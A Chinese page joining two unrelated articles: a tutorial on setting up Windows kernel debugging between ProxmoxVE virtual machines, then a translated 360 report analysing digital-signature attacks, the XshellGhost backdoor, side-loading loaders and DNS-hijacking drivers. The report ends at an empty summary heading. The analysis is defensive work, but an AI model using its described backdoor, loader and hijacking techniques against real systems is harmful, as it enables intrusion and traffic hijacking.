ProxmoxVE 7.2-3
Windows10 1909 专业版
ProxmoxVE 是一套基于 KVM 的虚拟化解决方案，由于其开源特性以及 Linux 的亲和性，ProxmoxVE
通常在企业内部大量使用，同时也常常作为商业软件的底层支撑组件。同类软件还有大名鼎鼎的 Vmware 和 VirtualBox，这些软件在使用方面都大同小异。
ProxmoxVE 底层是一台 Debian 主机，然后基于 KVM+Qemu 实现了虚拟化软件，配置完成后可通过 web
控制台(`https://[ip]:8006`)进行管理和使用：
[1.PVE的web控制台]
通常情况下，我们使用 Vmware 搭建 windows
双机调试环境，都以宿主机作为调试机(`debuger`)，以虚拟机作为被调试机(`debugee`)，通过 Vmware 配置串口设备(`serial`)
通信进行调试；
而 ProxmoxVE 是一台 Linux 主机，要搭建 windows 双机调试环境必需要两台虚拟机才行。
### 0x02 本地内核调试
我们先从简单的本地内核调试环境开始，以此来准备基本的调试环境；在 ProxmoxVE 中安装 windows10 系统，并完成基本的配置如下：
[2.本地内核调试环境]
我们从官网下载 [WinDBG](https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/debugger-download-tools) 并在 windows10 系统上进行安装：
[3.windbg安装配置]
并在环境变量中(系统变量)配置符号表设置：
_NT_SYMBOL_PATH
SRV*c:\symbols*http://msdl.microsoft.com/download/symbols
> 配置完成后，WinDBG在调试过程中将自动从微软符号表服务器下载对应数据，并保存至 `C:\symbols` 下；
> 也可以在 WinDBG 中使用 Ctrl+S 配置符号表，不过采用环境变量的方式还可以方便其他应用使用该配置。
随后我们使用 `bcdedit` 修改 windows 的启动配置数据文件，使用管理员权限打开 powershell：
# 开启 debug
$ bcdedit /debug on
# 查看 bcdedit 配置
$ bcdedit
# 查看 dbgsettings 配置(默认为 local)
$ bcdedit /dbgsettings
执行如下：
[4.bcdedit配置本地调试]
> 通过 windows 开机启动项选择「启用调试模式」也是一样的，不过通过 bcdedit 修改是永久有效的。
> 如果不想影响目前的配置，可以通过 `bcdedit /copy "{current}" /d "debug test"` 复制当前配置，随后使用
> `bcdedit /set "{id}" debug on` 进行配置，在开机时可选择不同的启动项进入系统。
随后重启 windows10 虚拟机生效配置，使用管理员权限启动 WinDBG，选择 `File - Kernel Debug`，选择 `Local`
本地调试标签：
[5.windbg-local标签]
随后便可以正常进行本地内核调试，我们能够查看内核中的各项数据；但本地内核调试不能影响系统的运行，所以不能打断点、单步调试等，当然 `go`
指令也是不能使用的：
[6.windbg本地内核调试]
### 0x03 网络双机调试
从 windows8 开始微软提供了网络调试内核的方法，其简称为
`kdnet`，因为通信效率要比串口高，所以使用起来体验更好，是目前微软推荐的内核调试方法。
网络双机调试除了对系统版本有要求，对网卡也有一定的要求，支持的厂商和型号可以查阅 https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/supported-ethernet-nics-for-network-kernel-debugging-in-windows-10 ；除此之外，还需要两台主机位于同一子网内。
那么我们需要在 ProxmoxVE 再添加一台 windows10
虚拟机作为被调试机(`debugee`)，以我们上文本地内核调试中的主机作为调试机(`debuger`)，以此用两台虚拟机组成 windows
网络双机调试的环境，如下：
> 本地内核调试中的配置 `bcdedit /debug on` 不会影响该步骤，也可以手动设置 `bcdedit /debug off` 关闭调试功能。
[7.网络双机调试环境]
搭建这台被调试机(`debugee`)时需要注意，在配置操作系统类型时应选择 `Other` 类型，如下：(如果选择 `windows`
类型，ProxmoxVE 在虚拟化时会提供 Hyper-V 的各项支持，以此来提高虚拟机的性能，但这些项导致网络调试无法正常运行，我们将在 `###
0x05 kdnet问题排查` 进行简要分析)
[8.系统类型配置为other]
由于配置为 `Other` 类型，ProxmoxVE 可能无法提供 windows 的推荐配置，最终导致无法正确安装 windows
系统，若遇到该问题可排查磁盘是否设置为 `IDE` 类型。
除此之外，在网卡配置阶段需要选择 `Intel E1000`，如下：
[9.网卡配置为intel e1000]
根据测试 e1000 网卡在系统内部的硬件 id 为 `VEN_8086&DEV_100E`，满足网络调试对网卡的要求；另外 `Realtek
RTL8139` 不满足要求，而`VirtIO` 和 `Vmware vmxnet3` 需要安装特定驱动才能使用。
接下来完成 windows10 系统安装和基础配置，随后进行网络调试的配置；官方推荐使用 [kdnet
工具进行自动配置](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection-automatically)，但并不能顺利配置；
我们从调试机(`debuger`) 的 WinDBG 目录中(`C:\Program Files (x86)\Windows
Kits\10\Debuggers\x64`) 拷贝 `kdnet.exe` 和 `VerifiedNICList.xml`
到被调试机上(`debugee`)，按官方教程操作如下：
[10.kdnet自动配置失败]
虽然我们的网卡位于 `VerifiedNICList` 中，但 `kdnet.exe`
无法正确解析。我们按[官方手动配置教程](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection)进行设置：
# 开启 debug
$ bcdedit /debug on
# 设置网络调试参数
# 设置调试机(debuger)的 ip 地址为 10.0.25.192
# 设置被调试机的端口为 50000 (必须>=49152)
# 设置被调试机的连接密码为 p.a.s.s (必须为 x.x.x.x 格式)
$ bcdedit /dbgsettings NET HOSTIP:10.0.25.192 PORT:50000 KEY:p.a.s.s
# 查看调试配置
$ bcdedit /dbgsettings
[11.手动配置kdnet]
完成配置后重启生效；随即我们在调试机(`debuger`) 使用 WinDBG 进行网络调试配置，端口号为 `50000`，密钥为
`p.a.s.s`，如下：
[12.windbg-net标签]
无论被调试机(`debugee`) 是在运行期间还是重启阶段，都可以被调试机(`debuger`)正确连接并进行调试，连接成功后可使用 `break`
断下来：
[13.windbg网络双机调试]
> 如果 ProxmoxVE 和虚拟机未采用 DHCP 分配 ip 地址，被调试机(`debugee`) 会在启动阶段卡在 windows logo 阶段
> 10min 左右，我们将在 `### 0x05 kdnet问题排查` 进行简要分析。
### 0x04 串口双机调试
微软从 windows8 才开始提供网络调试功能，如果要调试 windows7 系统则需要使用传统的串口双机调试的方法了。这里我们复用上文环境，配置
windows10 虚拟机的串口双机调试，windows7 同理可得，环境配置如下：
> 上文中网络双机调试中的各项配置、操作系统类型、网卡类型均不影响该步骤。
[14.串口双机调试环境]
首先我们为两台 windows10 虚拟机添加串口(虚拟机关机后再开机硬件改动生效)，如下：
[15.pve添加串口设备]
> 配置成功后，可在 windows 设备管理器中看到 com 设备。
目前这两个串口独立运行，我们通过 ssh 登录 ProxmoxVE 的控制台，使用 `socat` 将两个接口连接起来：
# 正常启动两台虚拟机后
# pve(windows10-1)=132 / pve(windows10-2)=133
# 使用 tmux 开启后台终端，socat 需要一直运行
$ tmux
# socat 连接两个串口设备
# 使用 -v 查看运行日志
# 使用 UNIX-CLIENT 的类型打开文件
$ socat -v UNIX-CLIENT:/var/run/qemu-server/132.serial0 UNIX-CLIENT:/var/run/qemu-server/133.serial0
配置完成后，我们在被调试机(`debugee`)中设置串口调试：
# 开启 debug
$ bcdedit /debug on
# 设置串口调试参数
# 设置调试串口为 1 (com1)
# 设置串口波特率为 115200
$ bcdedit /dbgsettings SERIAL DEBUGPORT:1 BAUDRATE:115200
# 查看调试配置
$ bcdedit /dbgsettings
执行如下：
[16.bcdedit配置串口调试]
随后我们切换至调试机(`debuger`)下，使用 WinDBG 设置串口调试配置，波特率为 `115200`，端口为 `1`，不勾选 `pipe`，勾选
`reconnect`，如下：
[17.windbg-com标签]
设置完毕后，在 WinDBG 显示 `Waiting to reconnect...`
后，重启被调试机(`debugee`)，调试机(`debuger`)将在其系统启动时连接上去，使用 `break` 可将其断下来，如下：
[18.windbg串口双机调试]
> 我这里首次连接时 WinDBG 将异常退出，不过重新启动 WinDBG 并设置好参数即可成功连接。
**ProxmoxVE串口调试的一些补充**
熟悉 Vmware 搭建 windows 内核调试的朋友，通常都使用命名管道进行配置如 `\\.\pipe\com1`，但 ProxmoxVE
下的串口设备(serial) 仅支持 `/dev/.+|socket` 两种类型(实际上底层的 `kvm/qemu` 支持很多，但 ProxmoxVE
会直接报错无法启动虚拟机)，这为我们的串口调试带了一些困难；
同时我们默认配置的串口设备类型为 `socket`，其实际运行的参数如下：
[19.kvm实际启动参数-serial]
串口设备的参数为 `-chardev socket,id=serial0,path=/var/run/qemu-server/133.serial0,server=on,wait=off`，同样其参数在 ProxmoxVE 下不能修改。
在此限制条件下，我们可以使用 `socat` 以 `UNIX-CLIENT` 的方式将两台虚拟机的串口设备进行连接，从而实现串口双机调试。
### 0x05 kdnet问题排查
**1.hyper-v虚拟化导致kdnet无法工作**
在上文「网络双机调试」的环境配置中，我们在 ProxmoxVE 配置被调试机(`debugee`)时将其操作系统类型设置为 `Other` 类型，这样才能使
kdnet 正常工作，为什么呢？
我们按正常的安装流程在 ProxmoxVE 中安装一台 windows10(即操作系统类型选择为 `win10/2016/2019`) 并启动，通过 ssh
登录 ProxmoxVE 查看底层 kvm/qemu 的启动参数，如下：
[20.kvm实际启动参数-cpu]
我们可以看到其 cpu 参数为 `-cpu
kvm64,enforce,hv_ipi,hv_relaxed,hv_reset,hv_runtime,hv_spinlocks=0x1fff,hv_stimer,hv_synic,hv_time,hv_vapic,hv_vpindex,+kvm_pv_eoi,+kvm_pv_unhalt,+lahf_lm,+sep`，其中
`hv_*` 的配置表示 kvm 将以 hyper-v 的方式提供虚拟化功能，windws 虚拟机将认为自己运行在 hyper-v 的技术之上，以便使用
hyper-v 的功能并在一定程度上提高运行性能。
而根据前辈在 kvm/qemu 下使用的 kdnet 的经验(https://www.osr.com/blog/2021/10/05/using-windbg-over-kdnet-on-qemu-kvm/) 来看，`hv_*` 配置项会导致 kdnet 工作时认为自身位于 hyper-v
环境下，从而使用 hyper-v 中未公开的通信机制，最终导致 kdnet 无法正常工作；
经过测试验证，在我们的环境下的表现和前辈文章不一致，`hv-vendor-id`(CPUID) 并不会被修改，这可能和 qemu 的版本有关系，但
`hv_*` 的配置项确实会影响 kdnet 的工作。我们沿着这个思路查找 ProxmoxVE 调用 kvm/qemu 的源码，在 [qemu-server](https://git.proxmox.com/?p=qemu-server.git;a=summary) 源码包中 `qemu-server/PVE/QemuServer.pm#vm_start()` 找到调用 kvm/qemu 的代码入口；
随后跟入该函数，在 `qemu-server/PVE/QemuServer.pm#config_to_command()` 找到拼接 qemu
命令的代码如下：
[21.pve源码拼接qemu命令]
随后在 `qemu-server/PVE/QemuServer/CPUConfig.pm#get_cpu_config()` 找到 `-cpu`
参数的生成代码：
[22.pve源码拼接cpu参数]
结合上下文可以了解到，当操作系统为 `win10` 等类型时，此处将自动在 `-cpu` 参数中添加 `hv_*` 参数，以更好的支持 windows
虚拟机。
那么在设置虚拟机硬件时，我们只需要选择操作系统类型为 `other`，即可避免 ProxmoxVE 使用 `hv_*` 参数启动虚拟机，从而保证 kdnet
可以正常工作。
> PS:
> 1.对于已配置好的虚拟机，可使用 ssh 登录 ProxmoxVE，修改虚拟机配置文件 `/etc/pve/qemu-> server/[id].conf`，设置启动的 `ostype: other`，也可以关闭 hyber-v 的虚拟化。
> 2.对于已成功配置网络调试的主机，即便再重新打开 hyber-v 的虚拟化，kdnet 也能正常工作(这可能和已成功配置的网络调试器驱动有关？)
**2.非DHCP的调试机(`debugee`)启动时卡logo界面**
当我们使用 `bcdedit` 配置好网络调试后，重启虚拟机可以发现 windows 使用了 `以太网(内核调试器)` 替代了原始网卡：
[23.调试器网卡驱动]
`以太网(内核调试器)` 其默认采用 DHCP 的方式获取 ip，而通常情况下 ProxmoxVE 都采用静态 ip 分配，在系统启动阶段，该网卡将首先等待
DHCP 分配 ip，若获取失败，则自己分配 `169.254.*.*` 的地址；这个阶段发生在 windows logo 界面，大致需要 10min。
采用静态分配地址的 ProxmoxVE 服务器，可在被调试机(`debugee`)内修改网络调试，关闭 DHCP 即可解决：
# 查看网络调试配置
$ bcdedit /dbgsettings
# 关闭网络调试配置中的 dhcp
$ bcdedit /set "{dbgsettings}" dhcp no
# 查看网络调试配置
$ bcdedit /dbgsettings
执行如下：
[24.关闭网络调试的dhcp]
**3.kdnet下被调试机联网问题**
在某些场景下，我们需要在联网条件下进行内核调试，串口调试不会影响网络，但网络调试会使用 `以太网(内核调试器)` 替代原始网卡，其默认采用 DHCP
方式，若上游配置好了 DHCP 服务器则可正常使用；
如果采用静态地址分配，则进入虚拟机后，在 `以太网(内核调试器)` 上配置静态地址即可，联网和网络调试不会冲突，都可以正常使用：
[25.调试器网卡配置静态ip]
**4.kdnet下多网卡的被调试机配置**
某些场景下，我们的虚拟机具有多张网卡，若想指定具体的网卡作为调试网卡，可以使用如下命令：
# 在网络调试配置成功的前提下
# 设置 busparams 参数
# 通过设备管理器查看对应网卡的 PCI 插槽 [bus.device.function]
$ bcdedit /set "{dbgsettings}" busparams 0.19.0
# 查看网络调试配置
$ bcdedit /dbgsettings
执行如下：
[26.指定网络调试器网卡]
### 0x06 vmware碎碎念
通过以上一阵折腾，不得不说 vmware 在搭建 windows 调试环境这条路上帮我们铺平了道路；在实验过程中，我同时也配置了 vmware
下的环境，在这里我补充两个偏门的点，希望可以帮助到使用 vmware 搭建环境的小伙伴。
这里的测试环境如下：
Windows10 1909 专业版(宿主机)
Vmware Workstation 17
Windows10 1909 专业版(虚拟机)
**1.vmware下的网络调试搭建**
在网络调试的需求下，无论是使用宿主机调试虚拟机，还是使用虚拟机调试虚拟机，vmware 均可以完美支持；其 vmware 提供的虚拟机网卡默认支持
windows 网络调试，同时 vmware 默认采用 NAT 网络并默认开启 DHCP。
**2.vmware串口调试搭建**
使用 vmware 通过宿主机串口调试虚拟机，这我们再熟悉不过了，在虚拟机串口中配置命名管道
`\\.\pipe\com1`，设置`该端是服务器`，设置`另一端是应用程序`，勾选 `轮询时主动放弃CPU`，如下：
[27.vmware被调试机串口配置]
在虚拟机使用 `bcdedit` 配置串口调试，随后在宿主机中打开 WinDBG 使用串口调试连接即可，如下：
[28.vmware宿主机串口调试]
**但如果要使用虚拟机串口调试虚拟机** ，这就稍微有点不同了；首先配置被调试机(`debugee`)串口，配置命名管道
`\\.\pipe\com1`，设置`该端是服务器`，设置`另一端是虚拟机`，勾选 `轮询时主动放弃CPU`，如下：
[29.vm-vm被调试机串口调试]
随后配置调试机(`debuger`)串口，配置命名管道 `\\.\pipe\com1`，设置`该端是客户端`，设置`另一端是虚拟机`，如下：
[30.vm-vm调试机串口调试]
同样也在被调试机(`debugee`) 使用 `bcdedit` 配置串口调试，然后在调试机(`debuger`)中使用 WinDBG
进行串口调试，这里需要注意串口设备为 `com1`，且不能勾选 `pipe`(因为命名管道是对于宿主机的，而它在虚拟机内部仅仅是 com 口)，如下：
[31.vm-vm windbg配置串口调试]
配置完成后，被调试机(`debugee`)重启即可成功连接。
### 0x07 References
<https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/debugger-download-tools>
<https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--dbgsettings>
<https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/supported-ethernet-nics-for-network-kernel-debugging-in-windows-10>
<https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection-automatically>
<https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection>
<https://forum.proxmox.com/threads/two-windows-guests-communicating-via-serial-console-comn.67588/>
<https://forum.proxmox.com/threads/serial-port-between-two-vms.63833/#post-290092>
<https://superuser.com/questions/1404669/crossover-computer-connection-vs-network-switch-broadcast-packet-differences>
<https://www.linux-kvm.org/page/WindowsGuestDrivers/GuestDebugging>
<https://www.osr.com/blog/2021/10/05/using-windbg-over-kdnet-on-qemu-kvm/>
<https://www.qemu.org/docs/master/system/i386/hyperv.html>
<https://git.proxmox.com/?p=qemu-server.git;a=summary>
* * * | 社区文章 |
# 【技术分享】数字签名攻击报告：正在摧毁软件身份“信用体系”的安全危机
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**背景**
近期，360集团核心安全事业部发现全球范围内的利用软件数字签名的恶意攻击呈活跃趋势，黑客的攻击目标涉及软件开发商、个人用户和重要的政府、企事业单位；攻击形式多样，包括盗用、冒用软件开发商的合法数字签名和流行软件投毒的大规模定向攻击等。在这些攻击中，黑客的首要攻击目标是软件开发商，围绕软件的数字签名进行各种形式的攻击，如在企业发布的合法数字签名软件安装包中植入恶意代码，用户从正规渠道下载官方正规软件主动中招；盗用和冒用企业数字签名批量制作“合法”的木马病毒，逃避杀毒软件的查杀等。利用软件数字签名的恶意攻击日趋严峻，这类攻击比常规的木马病毒更具威胁，广大用户极难分辨，也容易被检测机制不严格的安全软件放行，严重危害网络安全。
**软件签名安全简介**
“数字签名”是指可以添加到文件的电子安全标记。
使用它可以验证文件的发布者以及帮助验证文件自被数字签名后是否发生更改。如果文件没有有效的数字签名，则无法确保该文件确实来自它所声称的源，或者无法确保它在发布后未被篡改。比如windows系统中内置的UAC（User
Account
Control用户账户控制）功能，就会在要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前，需要用户提供权限进行交互确认，在打开文件时的安全提示中显示程序的发布者供用户参考。
如没有软件数字签名的程序，UAC会显示发布者未知，交互提示框是黄色，提示用户该程序无法验证发布者，运行下去是有安全风险的。
而包含正常数字签名的交互提示框是蓝色的，会标注已验证的的发布者，提示用户如果信任发布者可以放心运行下去。
一个正规的已经打上数字签名的程序，可以在程序文件的属性中查看到，便于用户识别确认。
**
**
**流行数字签名攻击形式分析**
由于数字签名安全的校验文件的身份和完整性，所以数字签名天生成为了各种正规软件的“身份证”，基于正规厂商和用户之间的信任关系，以及厂商和厂商间的信任关系，大部分安全厂商对有数字签名和正规身份的程序默认是信任的。而黑客则针对这一信任关系进行攻击，他们会攻击合法软件的发布流程，利用各种疏忽或漏洞在合法的签名软件包中植入恶意代码
，甚至直接盗取和冒用合法软件开发商的数字签名，从而绕过安全产品的检查进行非法攻击，攻击破坏了厂商和用户之间的信任关系，也损坏了软件开发商的信誉，同时也对安全软件的查杀带来了一定的阻碍。目前这类攻击开始越演愈烈，主要分为以下三个形式。
**软件供应链攻击形式**
这类攻击的主要形式是在厂商的正规签名软件包中植入恶意代码，比如近日的NetSarang系列软件关键网络通信组件nssock2.dll被植入了恶意代码，厂商在发布软件时并未发现恶意代码，并给被感染组件打上了合法的数字签名随新版软件包一起发布，由于该软件被程序员和网络运维管理人员广泛使用，由此引发了该软件用户“主动”中招的大规模定向攻击事件。
被植入恶意代码的nssock2.dll文件，拥有2017年7月13日的NetSarang公司数字签名，如图
**
**
**盗用签名攻击形式**
黑客会盗用厂商数字签名直接签发木马病毒，或者利用已签名程序的安全漏洞发起攻击。如近期出现的恶性病毒"Kuzzle"，该病毒采用多种技术手段躲避安全软件的查杀，直接盗用了某公司的数字签名用于签发病毒，同时还利用了某安全厂商的已签发数字签名驱动加载执行代码，该病毒会感染用户计算机的主引导记录（MBR）和卷引导记录（VBR），劫持浏览器首页牟利，同时接受病毒作者的远程指令进行其他破坏活动。
**冒用签名攻击形式**
黑客冒用知名公司的身份资料，在境外申请知名公司的数字签名签发恶意程序，这种攻击方式让软件厂商无辜躺枪
。近期360集团核心安全白名单分析团队发现黑客通过伪造知名公司的资料，在境外证书颁发机构申请相应公司数字证书，用于大量签发恶意私服和木马程序，多家知名公司躺枪。被冒用签名所签发的恶意程序如图：
**数字签名攻击影响面分析**
黑客针对软件数字签名进行攻击，不仅成功对用户发动了攻击，还对厂商的信誉造成了损害。基于对软件厂商的信任，用户主动下载更新软件中招，攻击得到广泛传播；同时签发的有“身份证”的木马病毒，因为信任关系短时间内不易被安全软件查杀。
以下为抽样统计Xshell后门的用户活跃量，实际数据预计会比抽样数据扩大5倍，每天Xshell后门的主动使用受害者数以万计。
同期还有一些正规公司的签名被冒用来签发其他恶意程序，时间轴从今年初跨越至今，一些公司信誉严重受损。
根据360大数据监测统计，今年新增冒用样本数量约400个，感染量约35万。下图所示是2017年8月份之前的受害者地域分布图，其中沿海一带以浙江、辽宁和广东传播最多，内陆则以四川和湖南居多
。
**数字签名攻击典型案例技术分析**
**Xshellghost技术分析**
近日，NetSarang旗下的Xmanager、Xshell、Xftp和Xlpd等在全球流行使用的服务器远程管理软件曝出被多家杀毒软件报毒查杀的情况，经过360集团追日团队调查分析确认NetSarang旗下多款软件的关键模块被植入了高级后门，这是一起入侵感染供应链软件的大规模攻击事件，我们将其命名为“XshellGhost”（xshell幽灵）。该程序是一个精密的定向攻击平台，所有的功能模块实现均为shellcode形式，客户端攻击通过感染供应链软件和各个shellcode模块，实现了无自启动项、无落地文件和多种通信协议的远程控制，后门潜伏于受害者电脑等待黑客在云控制平台下发shellcode数据执行，黑客在云端甚至可能通过上传的用户信息进行选择性的定向攻击。
**远程控制步骤分析**
XshellGhost的远程控制主要分为5个步骤：
1.Xshell等软件启动加载被感染组件nssock2.dll，解密shellcode1执行。
2.Shellcode1解密Shellcode2执行如下功能：
a)创建注册表项，上报数据到每月对应的DGA域名当中；
b)通过发往知名的域名解析器当中上传用户信息给攻击者；
c)将接收的数据写入到创建的注册表项当中；
d)通过获取的key1和key2解密Shellcode 3并执行；
3.Shellcode3会创建日志文件并写入信息,启动系统进程Svchost.exe，修改其oep处的代码，并注入shellcode形式的Root模块执行。
4.Root模块的初始化过程中，会加载并初始化Plugins、Config、Install、Online和DNS等功能模块，然后调用函数Install->InstallByCfg以获取配置信息，监控注册表并创建全局互斥体，调用Online->
InitNet；
5.函数Online-> InitNet会根据其配置初始化网络相关资源，向指定服务地址发送信息，并等待云端动态下发代码进行下一步攻击。
**后门功能模块分析**
此次攻击的所有模块调度加载实现方式都是通过shellcode形式，采用了模块化的方法进行统一管理。后门主要分为基础管理模块
（ROOT）、插件功能模块（Plugins）、C&C配置模块（Config）、代码安装模块（Install）和网络通信模块（Online）这5个模块。
**网络通信模块分析**
网络通信管理模块（Online）是本次攻击的关键模块，在本次攻击事件当中我们已经发现了DNS模块，其它几个网络模块（TCP、HTTP、UDP、HTTPS、SSL）虽然在代码当中有所体现，但是在shellcode当中尚未主动运行，各个网络模块的函数接口及其作用如下表所示：
各个网络模块的功能的展开和运行依赖于Online模块提供的函数接口列表：
InitNet在读取网络代理配置以后每隔1秒调用功能A，如果功能A返回20000，则函数彻底结束，功能A逻辑：
功能B逻辑，用于等待云端下发代码执行：
此次攻击已知使用的通信模块是DNS模块，该后门基于DNS隧道技术进行通信：
该模块发送的数据包有3种类型：
1.初始化数据包，大小为0x18
2.Data数据包，大小0x8+
3.关闭数据包， 大小0x8
其发送函数如下：
在调用DNS模块2号函数返回自定义对象时，其调用了GetAdaptersAddresses获取适配器的DNS
最多收集0x10个DNS，随后在调用该模块第3号函数时，其使用收集到的DNS，合并Config文件中的4个DNS地址，循环往每一个DNS发送查询，等到到任何一个返回数据，或者超时，并记录下第一个返回应答的DNS数据包，以后再次发送的时候，只会给第一个返回应答的DNS发送数据。
在发送数据包时，会将数据嵌套到DNS协议中发送，其中数据会编码成特定的字符串，添加在要配置文件中的CC DNS URL前，实现DNS隧道通讯。
**
**
**盗用签名攻击和白利用攻击的典型案例**
刷机精灵官方主程序被利用，伪装成“照片.exe”，通过QQ传播，会加载一个伪造的ShuameManager.dll。
伪造的ShuameManager.dll盗用“北京财联融讯信息技术有限公司”数字签名：
伪造的ShuameManager.dll和刷机精灵官方的ShuameManager.dll有相同的导出函数“StartShume”供主程序调用，恶意ShuameManager.dll的导出函数内部代码是循环休眠：
真正的恶意代码其实在ShuameManager.dll刚载入时就已经启动，并且采用拼接字符串的方式来隐藏敏感API调用，直接创建一个工作线程：
工作线程的任务是解密一个加密的文件“coonfig.dat”，内存解密出一个dll文件，然后进行加载：
解密的算法是简单的加法和异或运算，初始key是9：
经过循环9次解密后，coonfig.dat文件在内存里解密出一个dll，工作线程接着准备加载调用其导出函数“InitMyEntry”：
首先判断解密出来的文件格式是否满足条件，符合PE格式则进行解析分配对应大小的内存进行装载：
接着就是根据PE格式的映射原理进行解析和装载，然后调用dll的入口点函数进行初始化：
解密后的dll装载初始化完后，接着查找其导出函数“InitMyEntry”地址最后直接跳转执行：
分析到这里，可以看出ShuameManager.dll其实就是一个加密程序内存装载器，采用了一系列对抗手法来规避查杀，具体执行的恶意活动取决于coonfig.dat解密出来的程序。ShuameManager.dll配套的coonfig.dat，其中一个功能是调用一款第三方工具NirCmd.exe来进行添加开机启动项，命令参数为：
而启动的目标程序Elantech.exe只是伪装“触控板”的文件名，实际上是一个和上述被利用的“刷机精灵”类似的程序，Elantech.exe主要有两类，其中一类是yy游戏官方的程序：
yy的程序被利用来加载的恶意dll是“VideoSdk.dll”，“VideoSdk.dll”和伪造的ShuameManager.dll采用相同的解密key和loader框架，并且同样带有盗用的“北京财联融讯信息技术有限公司”数字签名，最终都是加载coonfig.dat导出的InitMyEntry函数来进行恶意活动。另一类Elantech.exe程序是一款韩国杀毒软件“安博士”的升级程序，该程序被利用来加载名为“AhnUpCtl.dll”的dll，功能和手法都和上述类似，这里就不再赘述。
**2017年签名冒用攻击大追踪**
**冒用方式**
签名冒用的利用方式360已经分析披露过多次，这里简单再说明一下。下图是官方正常数字签名与冒用数字签名的样本对比，两者都显示数字签名正常且签名主体均为“上海**软件有限公司”。左图是该公司官方的程序签名，而右图则是冒用的数字签名，其是冒用签名的作者伪造该公司资料在国外签发机构“Go
Daddy”申请的数字证书。
目前为止，发现的冒用签名主要都是通过“Go
Daddy”和“Startfield”两家国外签发机构申请的，今年新增的8种冒用签名如下所示，其中每种签名对应若干张数字证书，且部分证书目前已被颁发者直接吊销：
**样本分析**
下面主要分析带冒用签名的劫持类私服程序，由于其他恶意程序传播受限这里暂不分析。
**（一）流程框架**
360截获的带冒用签名的劫持类私服程序种类较多且更新频繁，其劫持组件也是经常变化，不过总体的功能框架相对不变。样本的整个运行过程如下所示，部分程序模块在玩家电脑上采用随机文件名，图中的备注名（如[msvcs.dll]）是其对应在私服服务器上的模块名称。
从前文的流程图看，本模块主要进行两条劫持流程，首先进行的是流程图的上半部分，母体是dnetsup.dll，最终通过安装文件过滤驱动进行劫持，紧接着进行流程图的下半部分，母体是drvsup.dll，最终通过安装tdi过滤驱动进行劫持。
**（二）文件过滤流程劫持DNS**
首先是文件过滤流程，过程基于dotnet（.Net）的运行环境，所以dnetsup.dll先判断并安装dotnet环境，然后通过注册通用类库的方式来得到程序运行机会。一旦注册成功，之后每次用户启动浏览器，浏览器进程都会被“注入”该劫持模块（donetset2/4），从而执行其中的程序代码，通过我们的行为监控工具查看，可以看到IE浏览器的进程树下多出了两个子进程，这两个子进程其实是注入其中的劫持模块donetset2.dll创建的（见下文）：
当该组件的工作例程开始运行时，就进行文件过滤驱动的安装或启动，并下载一份hosts列表保存到dida.mid这个文件来进行本地DNS劫持，上文看到浏览器的进程树即是下载完劫持列表文件后调用cmd的ipconfig命令进行DNS缓存刷新：
下载的列表格式与系统hosts文件一致，主要用于劫持安全软件和竞争对手的DNS请求：
本模块安装的驱动程序是从资源里释放的，
dHelperKit.dll负责和文件过滤驱动的通信操作。驱动程序出自EldoS公司的一款名为“CallbackFiler”的产品，该产品实际上是专门为开发人员提供文件系统过滤功能的程序库：
dHelperKit.dll负责控制驱动库完成劫持的功能。该模块的导出函数“kitStartCbfltfs”通过“CallbackFiler”提供的API来操作文件过滤驱动cbfltfs3.sys，借助其对文件系统的的过滤功能来劫持DNS。具体实现的方式是添加一个文件名（路径）重解析的回调函数，设置请求的目标文件名（路径）为本地hosts文件的路径，在系统进程访问到该文件路径时重定向到一个新的控制路径（dida.mid文件的路径）：
待重新下载dida.mid列表文件后调用命令刷新DNS缓存，此时负责网络服务的进程svchost会将新的hosts列表刷入本地DNS缓存，安全软件或竞争私服等程序在联网时默认先查询DNS缓存，发现缓存列表里存在相关记录项就会导致该域名解析被重定向，从而实现屏蔽或劫持网络的作用。此时检查系统的hosts文件将看不到任何异常，然而通过ping命令便能验证出DNS已被劫持：
由于目标域名劫持后重定向到一个本机回环地址（127.0.0.1），所以屏蔽了对劫持域名（ip***360safe.com）的网络请求，此目的为干扰安全软件的正常联网。当然要进行劫持的域名都是由云端分配控制的，劫持列表可以随时更换，例如下面是一组被劫持的知名游戏网站，均被劫持到某一固定的ip地址（139.***.246.167）：
**（三）TDI过滤流程劫持网络流量**
接下来分析tdi过滤流程，最终实现通过驱动劫持用户的网络流量。母体drvsup.dll通过IsWow64Process判断系统环境，选择下载x64或者x86版本的tdi驱动到本地保存为mstd32.sys：
下载后按照正常启动服务的方式直接启动该驱动程序：
一旦驱动加载起来，后面的流程全靠该驱动独立完成，无需与应用层程序进行其他交互。驱动每次启动时重新下载一份劫持列表tdipaddr.dll到内存，并将其解析到链表中方便后面进行劫持过滤：
下载的列表经常发生变化，并且同时存在多种不同的传播版本，对不同类型的知名网址进行劫持，如下是截获的其中一个版本，其中包含大量知名的游戏公司官网，均被劫持到某搜索引擎的一个服务器ip（14.***38）：
后面过滤IO请求时，将以该列表去匹配当前网络访问的host：
满足过滤规则的所有网络IO请求会被标记，待相应的请求响应后对接收到的数据进行修改，添加301重定向响应头或者嵌入html框架来实现劫持，最后将修改后的内容返回给请求联网的应用层程序（如浏览器）处理：
例如我们通过浏览器正常访问盛大游戏官网时如下：
而驱动劫持后访问盛大游戏官网则会发生跳转，将其劫持到某搜索引擎（或其他地址，根据云端列表来控制），阻碍用户正常访问游戏网站。从360浏览器的抓包工具可以看出劫持方式是嵌入一个指向搜索引擎地址的html框架：
对劫持过程进行双机调试，也能观察到访问盛大游戏官网时驱动程序劫持的过滤过程：
最后发现驱动程序还注册了一个关机回调，在系统关机时改变驱动文件名，重写驱动文件来增加自身的隐蔽性。驱动的路径如下图所示，可以看到文件名为8位随机字母：
重写驱动文件后将新的驱动路径注册成一个开机自启动的服务，以保证在用户电脑上的劫持活动得以延续。
**总结和安全建议**
